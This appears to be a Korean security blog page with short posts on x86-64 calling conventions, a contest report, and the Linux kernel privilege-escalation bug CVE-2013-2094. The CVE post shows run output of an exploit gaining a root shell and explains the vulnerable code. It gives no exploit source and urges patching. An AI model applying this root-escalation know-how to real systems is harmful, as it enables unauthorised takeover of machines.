gcc 기준, ELF 32bit에서는 (%esp),0x4(%esp), ... 에 넣어서 넘기는 방식인데,


ELF64에서는 레지스터에 넣어서 넘긴다.

아직도 헷갈린다.


rdi : 첫번째인자

rsi: 두번째인자

rdx: 세번째인자

rcx: 네번째인자

r8: 다섯번째인자

r9: 여섯번째인자

(%rsp): 일곱번째인자

0x8(%rsp): 여덟번째인자

.

.

.



posted by tunz
  • hea 2013.10.25 22:36

    안녕하세요 tunz님 요근래 linux 상에서의 heap exploitation쪽좀 공부해보려고 하는데
    윈도우쪽은 힙스프레이 힙풍수 uaf와 같은 문서들이 많던데 리눅스쪽은 별루 없더라구요..
    리눅스상에서의 힙공격 기법이 윈도우랑 비슷하나요? 그리고 리눅스 상에서의 heap exploitation 문서나 좋은 글 추천좀 해주시면 감사하겠습니다.

    • tunz 2013.10.29 15:35 신고

      이걸 저도 찾아보려고 했는데 잘 없더라구요..
      요즘에서야 안드로이드가 뜨면서 조금씩 나오고 있는것 같긴한데, 제가 못찾는건지 없네요.
      우선 힙스프레이는 리눅스도 똑같이 쓰이더군요. 물론 특정조건이 맞아야겟지만.
      그 외에 CTF용은 크기가 작아서 직접 해보면서 조정하는 편이구요. 리눅스 실전같은 경우는 잘 모르겠네요


whitehatcontest 보고서.pdf



그 외에 stalking은 DNS검색해서 나온 전화번호를 구글링하면 어떤 블로그가 나왔다고 하고,


포렌식은 그냥 atuopsy로 열면 바로 답이 나왔다.

posted by tunz
  • 2013.09.16 09:10

    비밀댓글입니다

  • carpedm20 2013.10.10 10:55

    이쁜건 좋은데 검색이 사라짐

원래 제대로 깊게 분석해보려고 했는데... 급 귀찮음을 느껴서 단순히 소개만..


이 취약점은 2013년 5월 14일에 발표되었다.

그래서, 현재 대부분의 기본 커널에서 적용되는 취약점이다.

(Ubuntu 13.04 64bit에서도 확인해보았는데, 루트가 따였다.)

상당히 심각한 취약점이니, 꼭 패치를 해야한다.


tunz@ubuntu:~/cve-2013-2094$ cat /etc/os-release

NAME="Ubuntu"

VERSION="13.04, Raring Ringtail"

...

tunz@ubuntu:~/cve-2013-2094$ uname -a

Linux ubuntu 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

tunz@ubuntu:~/cve-2013-2094$ ./a.out

Searchin...

detected CONFIG_JUMP_LABEL

perf_swevent_enabled is at 0xffffffff81ef31c0

IDT at 0xffffffff81df4000

Using interrupt 128

Shellcode at 0x81000000

Triggering sploit

Got signal

Launching shell

# id

uid=0(root) gid=1000(tunz) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),108(lpadmin),124(sambashare),1000(tunz) 



이 취약점은 kernel/events/core.c의 perf_swevent_init 함수에서 발생하는 취약점이다.


static int perf_swevent_init(struct perf_event *event)

{

- int event_id = event->attr.config;

+ u64 event_id = event->attr.config;


event_id를 int형으로 받았다.

그 결과, 음수의 값도 받을수가 있게 되었고, 그다음의


 static_key_slow_inc(&perf_swevent_enabled[event_id]);


위 부분에서 문제가 발생한다.

위의 어레이에서 음수를 넣으면, 해당 어레이 뒤쪽의 값들을 조작할수가 있게 된다.


그 후로 이러쿵 저러쿵 해서, idt를 조작한후, 인터럽트 핸들러에 쉘코드를 덮어쓴후, 인터럽트를 이용해 루트를 따는듯하다.



**

우분투 기준 커널 업데이트방법

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade



posted by tunz
  • 2013.09.07 15:07

    비밀댓글입니다

    • tunz 2013.09.08 16:31 신고

      함수 콜을 할때 인자를 어떤식으로 넘기는지 알아보시면, 이해가 가실거같아요.
      대략적으로 말씀드리자면, gcc같은 경우는 첫번째 인자는 esp, 두번째 인자는 esp+4, ... 이런식으로 옮겨놓은다음에, 함수콜을 하게되면,
      [ret][arg1][arg2]... 이 상태가 되거든요, 그래서 ebp+8, ebp+c와 같은 방법으로 인자에 접근하게 됩니다.
      ROP를 할때는, ret을 이용해서 콜을 하기때문에, [call 할거][ret][arg1][arg2]... 로 세팅을 하게되면,
      call을 한 후에 [ret][arg1][arg2]와 같은 상태가 되니, 함수콜을 한것과 마찬가지가 되는거죠

  • 2013.09.08 19:31

    비밀댓글입니다

  • 2013.09.11 23:15

    비밀댓글입니다

    • tunz 2013.09.12 01:53 신고

      음..... 딱히 어떤 문서 하나만 보고 한게 아니라서 잘 모르겠네요.
      BOF원정대 페도라성 풀면서 그 write up들이랑, 이것저것 문서 찾아보면서 공부했던것같아요

  • levs 2013.10.07 21:04

    음 여기랑은 관련 없지만 질문하나 하겠습니다
    elf 디버깅 할때 보면 리눅스 elf 파일을 윈도우 아이다로 까주던데
    어떻게 리눅스에서 윈도우로 파일을 가져와 줄수 있나요?

    • tunz 2013.10.08 01:22 신고

      winscp나 단순히 ftp등을 이용해서 가져올수 있습니다.